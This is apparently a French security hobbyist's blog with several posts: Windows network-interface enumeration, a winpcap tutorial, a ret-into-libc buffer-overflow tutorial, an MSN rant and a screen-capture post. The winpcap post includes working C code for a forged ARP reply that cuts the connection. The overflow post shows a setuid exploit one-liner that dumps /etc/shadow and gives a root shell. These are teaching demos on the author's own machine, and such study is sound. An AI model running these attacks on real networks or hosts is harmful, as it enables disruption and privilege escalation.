// strlen("\\0000\\Linkage") + '\0' = 14
sprintf(currentNumber,"%04d", cpt);
// On prépare le chemin de la clé dans le registre
currentPathKey = (char*)malloc(strlen(KEY_IF_RESEAUX) + 14);
strcpy(currentPathKey, KEY_IF_RESEAUX);
strcat(currentPathKey, "\\");
strcat(currentPathKey, currentNumber);
strcat(currentPathKey, "\\Linkage");
// On ouvre cette clé
Status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, currentPathKey, 0, KEY_ALL_ACCESS, &hCurrentKey);
// Tant qu'on arrive à ouvrir la clé...
while(Status == ERROR_SUCCESS) {
// La valeur "Export" nous intéresse.
Status = RegQueryValueEx(hCurrentKey, "Export", NULL, NULL, (BYTE*)buffer, (DWORD*)&dwBytesReturned);
// Si on a réussit à lire la valeur, on l'affiche
if(Status == ERROR_SUCCESS) {
// On teste si l'interface est accessible
sprintf(devName, "\\\\.\\Global\\%s", &buffer[8]);
hDevice = CreateFile(devName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, 0);
if(hDevice != INVALID_HANDLE_VALUE) {
// On essaie de récupérer la description de cette carte
sprintf(currentNumber, "%d", atoi(currentNumber)+1);
//printf("%s %s\n", buffer, currentNumber);
// strlen("\\xxxx") + '\0' = 6
currentDescKey = (char*)malloc(strlen(KEY_DESC_RESEAUX) + 6);
strcpy(currentDescKey, KEY_DESC_RESEAUX);
strcat(currentDescKey, "\\");
strcat(currentDescKey, currentNumber);
// On ouvre la clef de la description
Status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, currentDescKey, 0, KEY_ALL_ACCESS, &hDescKey);
if(Status == ERROR_SUCCESS) {
// "Description" nous intéresse
Status = RegQueryValueEx(hDescKey, "Description", NULL, NULL, (BYTE*)desc, (DWORD*)&dwBytesReturned);
if(Status == ERROR_SUCCESS) {
printf("%s %s\n", buffer, desc);
RegCloseKey(hDescKey);
}
}
free(currentDescKey);
CloseHandle(hDevice);
}
}
ZeroMemory(currentPathKey, strlen(KEY_IF_RESEAUX) + 14);
// On prépare le chemin de la clé suivante
sprintf(currentNumber,"%04d", ++cpt);
strcpy(currentPathKey, KEY_IF_RESEAUX);
strcat(currentPathKey, "\\");
strcat(currentPathKey, currentNumber);
strcat(currentPathKey, "\\Linkage");
// On la relit.
Status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, currentPathKey, 0, KEY_ALL_ACCESS, &hCurrentKey);
}
// On libère tout le tralala & on se casse
free(currentPathKey);
RegCloseKey(hCurrentKey);
}
return EXIT_SUCCESS;
}
Pour la source clean, c'est par ici : http://venom630.free.fr/geo/blog/reverse_pcap/part1/getInterfacesReseau.html. Le gros cadeau, c'est qu'il faille simplement compiler un seul fichier ! Pas de lib à linker ni rien.
Le résultat que j'obtiens :
\Device\{8EEB3BBC-655E-4E05-A2DD-92A5325081A6} Belkin Wireless G Plus MIMO USB Network Adapter
\Device\{F9415153-9262-4C55-B0A4-D9D3B9911CB7} Realtek PCIe FE Family Controller
Pour récupérer les adresses IPs, j'ai pas cherché plus loin. Mais ça ne nous gênera pas pour la suite.
Et j'ai pas testé sur d'autres postes, donc je ne vous garantie rien. Mais alors rien du tout.
Conclusion
Certes, l'article a été très court, mais c'était pour vous montrer un aperçu. Là, on saura quelles interfaces emmerder pour pouvoir balancer nos paquets. Et n'importe quel paquet, de surcroit.
Geo
mercredi 24 février 2010
Joujou avec winpcap
On va essayer de reprendre un rythme "normal", c'est-à-dire poster de temps en temps, et des posts intéressants de surcroit.
Ces temps-ci, j'ai peu de temps pour m'attarder sur un sujet bien précis. Donc on va parler vite fait de la lib winpcap et on va jouer un peu avec. Le site officiel du projet se trouve à l'adresse http://www.winpcap.org. Vous pouvez télécharger plusieurs trucs intéressants :
- D'une part, les fichiers à utiliser dans vos sources C pour utiliser la lib winpcap (ça serait difficile, sinon... Mais possible) : http://www.winpcap.org/install/bin/WpdPack_4_1_1.zip ;
- Les sources, très sympathiques à lire, très claires, et qui nous évite de faire du reverse engineering (désolé, Ivanlef0u, cet article n'est pas pour toi ! :P ) : http://www.winpcap.org/install/bin/WpcapSrc_4_1_1.zip
Décompressez les deux archives dans deux endroits distincts. Dans la première archive - c'est-à-dire celle contenant les fichiers pour développer - vous avez les fichiers d'en-tête à utiliser (les ".h" donc) et les fichiers lib à lier lors de la compilation + édition de lien.
Première étape : lister les interfaces disponibles (pour le fun)
Votre ordinateur possède ce qu'on appelle des interfaces réseau. Si vous avez WireShark ou un logiciel de capture de trames réseau, vous pouvez les connaître facilement. Un screenshot de mon résultat :

Nom de mes interfaces réseau
Y'en a une, je sais pas trop à quoi elle sert. Les deux autres sont, respectivement, ma clé USB Wifi et ma carte ethernet. Ma carte Wifi est morte, pour les curieux. Triste affaire.
Mais ici, on a le label, et on n'a pas spécifiquement besoin de ces informations-là. On cherche, en fait, le chemin du pilote ou adaptateur, il commence par "\Device\...".
La lib winpcap fournit une panoplie de fonctions pour gérer les packets sans se prendre la tête. En fait, à la base, je voulais tripper avec les raw sockets et protocole ARP mais on peut aller se faire douiller bien profond quand on tourne sous Windows XP. L'autre solution est d'aller sur Linux en mode root, mais je voulais trouver un moyen sous Windows quitte à plonger dans le noyau s'il le fallait. (Pour info, y'a l'article trip in da tcp/ip d'Ivanlef0u qui vaut vraiment le coup d'œil)
La fonction qui va nous permettre de récupérer les interfaces n'est autre que PacketGetAdapterNames(). Son prototype est le suivant :
BOOLEAN PacketGetAdapterNames(PTSTR pStr,PULONG BufferSize);
Comme on l'aura compris, le premier argument est un pointeur vers une mémoire tampon destinée à recevoir une série de chaînes de type "PTSTR", donc pas forcément une chaîne se terminant par un null-byte.
En fait, la chaîne de sortie sera de la forme suivante :
[Chemin Interface 1][null-byte][Chemin Interface 2][null-byte][Chemin Interface 3][null-byte]...[Chemin Interface n][null-byte][null-byte][Libellé Interface 1][null-byte][Libellé Interface 2][null-byte][Libellé Interface 3][null-byte]...[Libellé Interface n][null-byte]
Pour récupérer l'information intéressante, c'est-à-dire le "chemin" de l'interface, de chaque interface réseau, il faudra boucler jusqu'à ce qu'on tombe sur deux null-bytes qui se suivent.
Enfin, le second argument, passé en entrée / sortie, correspond à la taille maximale de notre mémoire tampon passée en 1er argument, et aura en sortie la taille totale des données intéressantes.
Le code C ci-dessous énumère la liste des interfaces réseau.
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "packet32.h"
#define NUM_ADAPTERS 10 // Nombre max d'adaptateurs réseaux
int main()
{
// On déclare un tableau statique des chaînes de caractères
// correspondant au "chemin" des interfaces
char devices[NUM_ADAPTERS][8192];
// Chaîne correspondant à l'adaptateur courant (celui qu'on traite)
char currDevName[8192];
// On initialise la taille des données à la taille de notre mémoire
ULONG adapterLength = sizeof(currDevName);
// Appel de la fonction
PacketGetAdapterNames(currDevName, &adapterLength);
// On déclare 3 variables.
// i correspond à l'index dans currDevName
// j correspond à la sauvegarde de i lorsqu'on change d'interface
// k correspond à un indice pour s'y retrouver dans le tableau
// devices qui contiendra les chaînes de chaque interface
unsigned int i = 1, j = 0, k = 0;
// Tant qu'on n'a pas rencontré deux null-bytes et que i soit
// inférieur à la taille des données, on boucle.
while(currDevName[i] != '\0' || currDevName[i-1] != '\0'
&& i < adapterLength) {
// On a rencontré un null-byte ? On sauvegarde tout ce qu'on
// a parcouru avant le null-byte dans notre tableau
if(currDevName[i] == '\0') {
memcpy(devices[k], currDevName + j, i + 1 - j);
k++;
j = i + 1;
}
i++;
}
// Affichage de chaque interface
for(i = 0; i < k; i++) {
printf("%s\n", devices[i]);
}
return 0;
}
La source propre est colorée est disponible ici : http://venom630.free.fr/geo/blog/pcap/src1.html. Et pour ceux qui veulent le fichier projet CodeBlocks, les lib, le .h et tout le baratin compilé, http://venom630.free.fr/geo/blog/pcap/interfaces_reseau_1.rar.
Voici le résultat que j'obtiens :
\Device\NPF_GenericDialupAdapter
\Device\NPF_{B7BB8F94-E39E-4619-BF36-A2D487560777}
\Device\NPF_{5412E0AC-22A0-4E2D-BB2B-4A7FFC945C49}
C'est déjà un bon début, dira-t-on. Maintenant, on va essayer de forger une trame à la con et la balancer sur le réseau.
Seconde étape : envoyer des packets
Pour la suite de l'article, j'utiliserai l'interface de ma clé USB Wifi, à savoir \Device\NPF_{5412E0AC-22A0-4E2D-BB2B-4A7FFC945C49}.
Pour envoyer des paquets forgés à la main avec Winpcap, il faut d'abord ouvrir l'interface via la fonction PacketOpenAdapter(), qui possède le prototype suivant :
La fonction prend en argument un pointeur vers le nom de notre adaptateur réseau que nous souhaitons ouvrir, et renvoie un pointeur sur une structure de type ADAPTER. On n'a pas à se soucier réellement du contenu de cette structure, et sa définition se trouve dans la documentation de Packet32.c (lien disponible en fin d'article).
Une fois notre interface ouverte, on va pouvoir s'occuper de forger un packet. Les packets, avec winpcap, sont gérés via la structure PACKET. (idem, définition disponible dans la documentation).
Pour initialiser une structure PACKET, on utilise la fonction PacketAllocatePacket() qui retourne un pointeur sur ce type de structure (elle est donc allouée dans le tas au sein de la fonction). Sa signature, tout bêtement :
Ensuite, nous allons initialiser notre packet avec une mémoire tampon correspondant, tout bonnement, aux données de notre packet. La fonction PacketInitPacket se charge de ça. Signature :
En premier argument, on fournit un pointeur sur notre structure de type PACKET. En second argument, on a les données du paquet, donc le datagramme en dur, quoi ; et en dernier argument, la taille du "Buffer" puisqu'on ne soumet pas une chaîne terminée par un octet null, mais bien un tableau de CHAR (même si Buffer est de type "PVOID", cela n'empêche rien).
Enfin, on balance notre paquet à l'interface via la fonction PacketSendPacket(). Sa signature est la suivante :
Les premiers et second arguments représentent, respectivement, un pointeur sur notre interface réseau et un pointeur sur notre packet. Le dernier argument ne nous intéresse pas, puisqu'il est généralement pris en compte dans les versions antérieures de Windows. On mettra donc TRUE.
Et pour libérer les ressources, on a PacketFreePacket() et PacketCloseAdapter(), qui ont pour prototype :
VOID PacketCloseAdapter(LPADAPTER lpAdapter);
On a tous les éléments. On va donc faire un petit programme qui balance une réponse ARP frauduleuse à en couper la connexion. (C'est vilain, je sais)
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "packet32.h"
#define NUM_ADAPTERS 10 // A changer si besoin
int main()
{
// On déclare un tableau statique des chaînes de caractères
// correspondant au "chemin" des interfaces
char devices[NUM_ADAPTERS][8192];
// Chaîne correspondant à l'adaptateur courant (celui qu'on traite)
char currDevName[8192];
// On initialise la taille des données à la taille de notre mémoire
ULONG adapterLength = sizeof(currDevName);
// Appel de la fonction
PacketGetAdapterNames(currDevName, &adapterLength);
// On déclare 3 variables.
// i correspond à l'index dans currDevName
// j correspond à la sauvegarde de i lorsqu'on change d'interface
// k correspond à un indice pour s'y retrouver dans le tableau
// devices qui contiendra les chaînes de chaque interface
unsigned int i = 1, j = 0, k = 0;
// Tant qu'on n'a pas rencontré deux null-bytes et que i soit
// inférieur à la taille des données, on boucle.
while(currDevName[i] != '\0' || currDevName[i-1] != '\0'
&& i < adapterLength) {
// On a rencontré un null-byte ? On sauvegarde tout ce qu'on
// a parcouru avant le null-byte dans notre tableau
if(currDevName[i] == '\0') {
memcpy(devices[k], currDevName + j, i + 1 - j);
k++;
j = i + 1;
}
i++;
}
// On va ouvrir notre interface
LPADAPTER lpAdapter = NULL;
lpAdapter = PacketOpenAdapter(devices[2]); // /!\ Changer 2 par l'index de votre interface
if(lpAdapter == NULL) {
printf("Error while opening the adapter. Aborting.\n");
exit(EXIT_FAILURE);
}
// Création d'un packet facilement
LPPACKET myPacket = PacketAllocatePacket();
if(myPacket == NULL) {
printf("Error while initializing the packet. Aborting.\n");
exit(EXIT_FAILURE);
}
// Construction d'une réponse ARP frauduleuse
char buff[] =
"\x00\x17\x3f\xb7\x1e\x29" // Adresse MAC Destination (la mienne ici)
"\x00\x12\x34\x56\x78\x9a" // Adresse MAC Source (n'importe quoi)
"\x08\x06" // "Protocole ARP"
"\x00\x01" // Hardware type = Ethernet
"\x08\x00" // Protocol type = IP
"\x06" // Hardware size = 6 (une adresse MAC fait 6 octets)
"\x04" // Protocol size = 4 (une adresse ipv4 fait 4 octets)
"\x00\x02" // On envoie une réponse
"\x00\x12\x34\x56\x78\x9a" // Adesse MAC de l'envoyeur (n'importe quoi)
"\xc0\xa8\x01\x01" // Adresse IP de l'envoyeur (on fout n'importe quoi, ici, 192.168.1.1)
"\x00\x17\x3f\xb7\x1e\x29" // Adresse MAC Destination (la mienne ici)
"\xc0\xa8\x01\x0d" // Adresse IP Destination (ici, moi : 192.168.1.3)
;
int buffLen = 42;
// On initialise notre paquet
PacketInitPacket(myPacket, buff, buffLen);
// On fait une boucle à l'infini et on le balance.
for(i = 0; i < 10; i++) {
PacketSendPacket(lpAdapter, myPacket,TRUE);
printf(".\n");
// Important si vous ne voulez pas avoir de souci. ;)
Sleep(1000);
}
// On libère les ressources
PacketFreePacket(myPacket);
// On ferme l'adaptateur
PacketCloseAdapter(lpAdapter);
return 0;
}
Source propre ici : http://venom630.free.fr/geo/blog/pcap/src2.html. Et pour ceux qui veulent le fichier projet CodeBlocks, les lib, le .h et tout le baratin compilé, http://venom630.free.fr/geo/blog/pcap/interfaces_reseau_2.rar. Toutefois, vous n'aurez peut-être pas le résultat désiré, mais une chose est sûre, les trames circuleront bien sur votre 3ème interface (si vous en avez au moins 3...).
Lorsque je lance le programme, ma connexion se coupe, et j'obtiens ça sur WireShark :

Aperçu des trames balancées manuellement sur WireShark (cliquez pour agrandir)
Et voici la tronche de mon cache arp :
Interface : 192.168.1.3 --- 0x10004
Adresse Internet Adresse physique Type
192.168.1.1 00-12-34-56-78-9a dynamique
J'ai très peu de chances d'accéder à Internet avec cette connerie.
Conclusion
Envoyer des trames sur le réseau s'avère, grâce à la lib winpcap, relativement facile. On peut forger nos paquets à la main et les envoyer sans se soucier de ce qui se passe derrière, bien que ça m'intéresse en fait.
A ce que j'ai vu, autant côté sources que côté exécution, c'est que, lors d'un envoi de paquet, on passe par WriteFile() et DeviceIoControl() pour envoyer un paquet. Ca devient intéressant. Peut-être ferai-je une analyse de tout ça, qui sait ?
Autre truc qui peut être marrant : encapsulet la lib Packet en C++ de sorte à ne pas se prendre la tête lors de l'extraction du nom des interfaces réseau. Si quelqu'un a déjà fait ça, qu'il m'en fasse part par commentaire.
Références
Doc de Packet32.c : http://dog.tele.jp/winpcap/html/Packet32_8c.html
Site officiel de WireShark : http://www.wireshark.org/
Sniffer TCP with Raw Sockets, bon article de lilxam
Tutoriel : Man In The Middle par Heurs
Geo
samedi 6 février 2010
Retour à l'improviste
Je sais pas si y'en a qui se souviennent, mais j'avais arrêté ce blog. Deux bonnes raisons de le reprendre et de laisser le wordpress aux oubliettes :
- quelqu'un m'a cassé les burnes avec une faille et avait réussi à dumper la base de données : ça venait pas de wordpress, mais de l'hébergement lui-même, pourri ;
- je me rends compte qu'avec le recul, je suis plus à l'aise sur ce blog.
Pour ceux qui s'inquiétaient - s'ils existent - ben désolé, quoi. On va pas sortir les violons, j'ai réimporté un article sur le ret into libcn, mais pour les commentaires, j'y suis pas arrivé (il faut dire que j'ai pas vraiment cherché non plus).
En gros, un aimable collaborateur, à qui j'avais promis une correction de l'article que je n'ai pas faite, m'a dit :
Je ne suis pas d'accord pour els schema de stack. Celon moi,
-> Avant overflow :
Haut de pile
+------------+
| EIP |
+------------+
| dest |
+------------+
Bas de pile
L'ors d'une ecriture, les adresses "remontent", donc, si l'on place "azerty" dans un stack, on auras
+------------+
| 00yt +
+------------+
| reza |
+------------+
D'ou,
-> Apres overflow :
Haut de pile
+------------+
| EXIT |
+------------+
| *commande |
+------------+
| SYSTEM |
+------------+
|dest(=aaa..)|
+------------+
Bas de pile
Pour ce qui est de l'adresse de la variable d'environnement, on peut constater qu'elle varie selon la longueur de av[0] :) (A vrais dire, l'environnement est un gros tas de char* coller les un aux autres, et *av[0] vient se placer juste au dessus de av[ac-1], lui même au dessus de av[ac-2] .... av[0].
Bref, pour l'adresse exacte, le calcule serais :
addr = getenv()
addr -= strlen(av[0])
addr -= ac * 4
addr += strlen(av[0])_du_programme_vulnerable
addr += ac_du_programme_vulnerable * 4
En espérant ne pas avoir dis de bêtises ^^
Pas eu le temps de vérifier. Une journée dure 24 heures...
Ah, et pour ceux qui veulent que je les lie dans la "blog roll", laissez un commentaire ou mailez-moi, je le ferai dès que possible.
Encore désolé, et c'est reparti pour un tour.
Geo
[Réimport] Ret into libc : théorie & pratique
Yosh,
Je profite de ces vacances pour publier un article sur un sujet quelconque ; celui-ci est d'ailleurs connu, puisque des camarades tels que Ghosts In The Stack et kmkz ont rédigé leur propre version.
Je précise au passage que, afin de mener à bien l'objectif que je présenterai dans l'article, j'ai eu besoin de désactiver deux sécurités : la "randomisation" des adresses mémoires, qui consiste à les rendre aléatoire à chaque exécution d'un programme donc de rendre difficile l'exploitation d'un débordement de tampon ; et la protection de la pile, lorsque gcc met en place un "canary" pour détecter les débordements. Effectivement, je suis sous un noyau 2.6.28-16-generic donc plutôt récent.
Qu'est-ce que la libc ? : Il s'agit de la bibliothèque - et je jette des pierres à ceux qui disent toujours librairie... - standard, sous linux, qui va regrouper les fonctions les plus couramment utilisées : printf(), exit(), ...
Et donc, un ret into libc, c'est...? Il s'agit d'une variante des buffer overflows, consistant à écraser EIP par une adresse correspondant à une fonction dans la libc ; d'où le nom de l'attaque.
L'idée est de faire pointer EIP, à l'épilogue de la fonction appelée, sur l'adresse system() pour qu'elle soit appelée et exécute notre commande. Notre commande, bien évidemment, correspond à un argument qui devra être déposé sur la pile. Dans mon cas, vous me trouverez peut-être incompétent, mais je n'ai pas réussi à exécuter /bin/sh. Mais rassurez-vous, un "cat /etc/shadow" a réussit, donc on va dire que ça revient au même...
Première étape : le programme vulnérable + suppression des protections de l'OS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void copy(char *buff);
int main(int argc, char **argv) {
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(EXIT_FAILURE);
}
printf("Copie en cours...\n");
copy(argv[1]);
printf("Termine !\n");
return EXIT_SUCCESS;
}
void copy(char *buff) {
char dest[50];
strcpy(dest, buff);
}
Vous remarquerez l'inutilité du programme ; néanmoins, il y a un appel vers strcpy qui ira stocker dans un tampon de 50 octets ce que nous lui soumettons. Si on soumet plus de 50 octets, ben, ça déborde !
geo@kleromy:~/bof/vuln1$ ./vuln
Utilisation : ./vuln
geo@kleromy:~/bof/vuln1$ ./vuln aaaaaaaaaaaaa
Copie en cours...
Termine !
geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 58'`
Copie en cours...
Erreur de segmentation
geo@kleromy:~/bof/vuln1$
Au passage, on en profite pour enlever la randomisation de la pile :
root@kleromy:~/bof/vuln1# echo 0 > /proc/sys/kernel/randomize_va_space
root@kleromy:~/bof/vuln1# cat /proc/sys/kernel/randomize_va_space
0
root@kleromy:~/bof/vuln1# exit
exit
geo@kleromy:~/bof/vuln1$
Et, tant qu'à faire, faire en sorte que notre programme appartienne à root ET qu'il s'exécute avec les droits de root :
root@kleromy:~/bof/vuln1# chown root ./vuln
root@kleromy:~/bof/vuln1# chmod +s ./vuln
root@kleromy:~/bof/vuln1# exit
exit
Maintenant, on peut commencer à préparer l'attaque puisque nous sommes dans notre cas fictif.
Seconde étape : récupérer l'adresse de l'argument de system()
Soit "cat /etc/shadow" notre chaine qu'on passera à system(). Nous allons en faire une variable d'environnement via la commande export :
geo@kleromy:~/bof/vuln1$
Et on va récupérer son adresse grâce au superbe outil de kmkz (par contre, l'ami, tu m'excuseras, mais je me suis permis de corriger ton programme, bien qu'il ne soit pas encore totalement efficace...) :
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
if (argc < 2)
{
printf( " **Veuillez utiliser un ARGUMENT !!** \n");
return(0);
}
char *addr;
addr = (char *) getenv(argv[1]);
if (addr != NULL)
printf("** %s se situe à l'adresse %p **,\n",addr, addr + strlen(argv[1]) );
return(0);
}
On compile, et on exécute :
** Veuillez utiliser un ARGUMENT !!**
geo@kleromy:~/bof/vuln1$ ./src_bin-sh commande
**cat /etc/shadow se situe a l'adresse 0xbffffe55 **
Cette adresse, chez moi, est PRESQUE bonne. Donc pas totalement, mais tant qu'on a une adresse qui s'en rapproche, c'est pas plus mal !
On a l'adresse de notre argument, maintenant, on va chercher les adresse des fonctions que nous voudrons utiliser : system() et exit() - pour terminer le programme proprement.
Troisième étape : adresses de system et exit
Cette étape est relativement simple à mettre en oeuvre ; effectivement, on n'a qu'à utiliser gdb pour déboguer notre programme vuln. Si on place un breakpoint à un endroit du programme, on pourra en profiter pour récupérer les adresses des fonctions de la libc, puisqu'elles ont été chargées en mémoire.
Voici comment procéder :
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) b main
Breakpoint 1 at 0x8048472
(gdb) r
Starting program: /home/geo/bof/vuln1/vuln
Breakpoint 1, 0x08048472 in main ()
Current language: auto; currently asm
(gdb) x system
0xb7ea68b0 : 0x890cec83
(gdb) x exit
0xb7e9bb30 : 0x57e58955
(gdb) q
The program is running. Exit anyway? (y or n) n
Not confirmed.
(gdb)
Maintenant, nous avons toutes les informations pour exploiter notre ret into libc. Il ne me reste plus qu'à vous expliquer comment ça se passe.
Lorsque vous appelez en C, par exemple, la fonction printf() de la sorte : system("echo bonjour"); ; en assembleur, le code ressemblera à :
call printf ; appel de la fonction
Seulement voilà, comme vous le savez (je le suppose), lorsque la routine appelle une fonction, elle va empiler l'adresse de l'instruction suivante afin de revenir à la routine appelante. La pile aura donc cette tronche :
Haut de pile
| |
+---------------------------+
| sauvegarde EIP |
+---------------------------+
| LaChaineQuiContientCoucou |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
Bas de pile
La fonction printf() ira donc chercher ses arguments qui se trouveront en-dessous de la sauvegarde !
Pour system(), c'est pareil. Elle ira chercher son argument en-dessous de la sauvegarde d'EIP. Sauf que, voilà : dans notre attaque, notre sauvegarde d'EIP sera factice. On la remplacera par exit(), et donc, lorsque system() aura fini sa routine, pendant l'épilogue, elle dépilera l'adresse d'exit() dans EIP, et notre programme se terminera.
En résumé, voici l'état que la pile doit avoir lors de notre attaque :
Haut de pile
| aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa... | // L'écrasement
+---------------------------------------+
| system() -> sauvegarde EIP |
+---------------------------------------+
| exit() -> sauvegarde EIP 2 |
+---------------------------------------+
| NotreCommandeExecuteeParSystem() |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
Bas de pile
Effectivement, j'ai parlé de "sauvegarde EIP 2", car la fonction system() est programmée de sorte à ce qu'on l'appelle en ayant empilé la sauvegarde d'EIP. Et donc, lorsque notre débordement de tampon aura réussi et que la fonction system() sera appelée, la pile ressemblera à ça :
Haut de pile
| |
+---------------------------------------+
| exit() -> sauvegarde EIP faux |
+---------------------------------------+
| NotreCommandeExecuteeParSystem() |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
Bas de pile
Et la fonction ira chercher l'argument en-dessous de la fausse sauvegarde d'EIP, et dépilera cette fameuse sauvegarde d'EIP dans le registre du même nom... Ce qui quittera notre programme.
J'espère avoir été clair !
Maintenant, on exploite, tout bonnement, avec les adresses mémoires récupérées. Schéma d'attaque :
[ax54] [adresse system] [adresse exit] [adresse "cat /etc/shadow"]
Copie en cours...
sh: /etc/shadow: Permission denied
Bon, c'est déjà ça : on n'a pas d'"Erreur de segmentation". Mais là, on nous dit que le fait d'exécuter /etc/shadow entraîne un refus d'accès. Le "cat " n'a pas été pris, c'est ça que je trouve bizarre puisqu'on a, normalement, récupéré la bonne adresse de notre chaine....
Pas de panique : ajoutez 4 - l'équivalent de la longueur de "cat " - à 0x55 pour obtenir 0x59. Et, là...
Copie en cours...
root:!:14505:0:99999:7:::
daemon:*:14354:0:99999:7:::
bin:*:14354:0:99999:7:::
sys:*:14354:0:99999:7:::
sync:*:14354:0:99999:7:::
games:*:14354:0:99999:7:::
man:*:14354:0:99999:7:::
lp:*:14354:0:99999:7:::
mail:*:14354:0:99999:7:::
news:*:14354:0:99999:7:::
uucp:*:14354:0:99999:7:::
proxy:*:14354:0:99999:7:::
www-data:*:14354:0:99999:7:::
backup:*:14354:0:99999:7:::
list:*:14354:0:99999:7:::
irc:*:14354:0:99999:7:::
gnats:*:14354:0:99999:7:::
nobody:*:14354:0:99999:7:::
libuuid:!:14354:0:99999:7:::
syslog:*:14354:0:99999:7:::
[...]
sshd:*:14506:0:99999:7:::
geo@kleromy:~/bof/vuln1$
Le contenu de /etc/shadow s'affiche.
Et curiosité amusante... :
geo
geo@kleromy:~/bof/vuln1$ export commande="cat /bin/sh"
geo@kleromy:~/bof/vuln1$ ./src_bin-sh commande
**cat /bin/sh se situe a l'adresse 0xbffffe59 **,
geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x59\xfe\xff\xbf"'`
Copie en cours...
# whoami
root
# exit
... C'est que, non seulement je suis obligé de mettre "cat" devant /bin/sh pour faire exécuter ma commande, mais encore : l'adresse trouvée par le programme est bonne. C'est un coup de chance, mais ça démontre bien que notre algorithme est foireux.
Mais en tout cas, l'exploitation du ret into libc a réussi.
Conclusion
Bien que nous ayons compris le principe de l'exploitation du ret into libc, vous venez de voir que l'article comporte certains points obscurs. Aussi, sachez que toute contribution par commentaire sera la bienvenue pour qui souhaite m'expliquer pourquoi commande=/bin/sh ne permet rien, ou pourquoi notre algorithme pour trouver l'adresse *exacte* de notre chaine est erroné.
Je tiens à citer les articles de Heurs et kmkz qui ont été clairs à eux deux et qui m'ont donc permis de tout comprendre.
Geo
vendredi 25 septembre 2009
Quelque chose me titille... Et, comme par hasard, Microsoft est dans le coup !
Entrons, sans plus tarder, dans le vif du sujet : suis-je le seul imbécile à avoir été forcé de passer à la nouvelle méga ultra giga super cool nouvelle version d'MSN 2009 ?
C'est grave, de forcer ses utilisateurs à faire ce genre de connerie. Ce foutu client de messagerie me bouffe pas mal de mémoire vive pour améliorer son esthétisme. Il y a vraiment mieux à faire...
Et puis, qui vous dit qu'ils ne sortiront pas une nouvelle version qui sera forcée d'être installée ? Et qui nous dit que nous serons aptes à rester sous Windows XP et que Microsoft ne se mettra pas à dire "Vous devez disposer d'un système d'exploitation plus récent pour pouvoir installer Windows Live Messenger 20xx." ? Ça me fiche la trouille, honnêtement.
Je vois déjà certains venir de loin : "passe à aMSN ou GAIM", me direz-vous. Je vous répondrai que je n'aie franchement pas envie de me prendre la tête pour des choses pareilles. Je reste à Windows XP et Ubuntu (en "dual boot").
Mais imaginez une seconde qu'on vous force à installer Windows Seven - par exemple - pour utiliser une nouvelle version d'MSN parce que vous devez l'installer et que votre version actuelle soit obsolète... Choisiriez-vous Seven, ou ne plus utiliser le client MSN de Microsoft ? Ca me fait peur, pour ma part.
Voilà, je vous ai dévoilé une petite chronique du moment. Peut-être inintéressante. Tant pis, hein !
Pour ceux qui veulent digérer du technique, je vais tout de même diffuser un petit code C que j'avais fait pour lister toutes les entrées de notre cache dns. Je m'étais amusé à faire de l'ingénierie inversée sur ipconfig.exe, et j'ai vu qu'il utilisait des fonctions exportées par dnsapi.dll. Cette bibliothèque contient des fonctions telles que DnsGetCacheDataTable() - celle que j'utilise - ou encore DnsFlushResolverCache() - celle qui est appelée quand on utilise l'option "/flushdns" d'ipconfig.
M'enfin, là n'est pas la question du post. C'était juste pour assurer un minimum de contenu intéressant si mon problème sur WLM en emmerde certains.
Ah, oui. Le code : http://venom630.free.fr/geo/autre_chose/cachedns.html.
En vous souhaitant un bon congé dominical.
Geo
dimanche 13 septembre 2009
Capturer son écran avec l'API Win32 dans un fichier bmp
C'est la rentrée depuis maintenant deux semaines, et je n'ai plus vraiment la motivation pour m'attaquer à des sujets intéressants et qui ont besoin de beaucoup de pré-requis (qu'Ivanlef0u me pardonne, car je n'oublie pas ma mission sur CsrCallServer...).
Ce matin, m'ennuyant, j'ai mis une heure à me documenter sur les API Win32 pour réaliser un petit programme qui va balayer l'écran pour y enregistrer chaque pixel - de façon ordonnée, hein - dans un fichier bitmap.
Déjà, il faut savoir que le format bitmap est propre à Microsoft, mais cela n'empêche pas qu'il soit documenté et simple à comprendre. J'avais, par ailleurs, rédigé un document un peu bidon sur ce que j'en savais : http://venom630.free.fr/geo/divers/doc_bmp.txt.
Si on se sert de ça comme support à la compréhension du format, on élabore notre structure C sans broncher :
DWORD dwSize;
WORD wRes1;
WORD wRes2;
DWORD dwOffset;
DWORD dwHeaderSize;
DWORD dwWidth;
DWORD dwHeight;
WORD wFoo;
WORD wBitsPerPixels;
DWORD dwCompressed;
DWORD dwBytesPerPixels;
DWORD dwBitsPerMetterOnWidth;
DWORD dwBitsPerMetterOnHeigt;
DWORD dwNumberOfColors;
DWORD dwImportantColors;
} BMPHDR, *PBMPHDR;
Il existe peut-être une structure déjà existante fournie par microsoft, mais je ne voulais pas chercher sur le net sachant que je serais allé bien plus vite en faisant ma propre structure.
Pour les déroutés : DWORD et WORD correspondent respectivement à des tailles de données sur 4 et 2 octets. Les préfixes dw et w correspondent à "double word" et "word", pour rendre le nom des champs plus logiques.
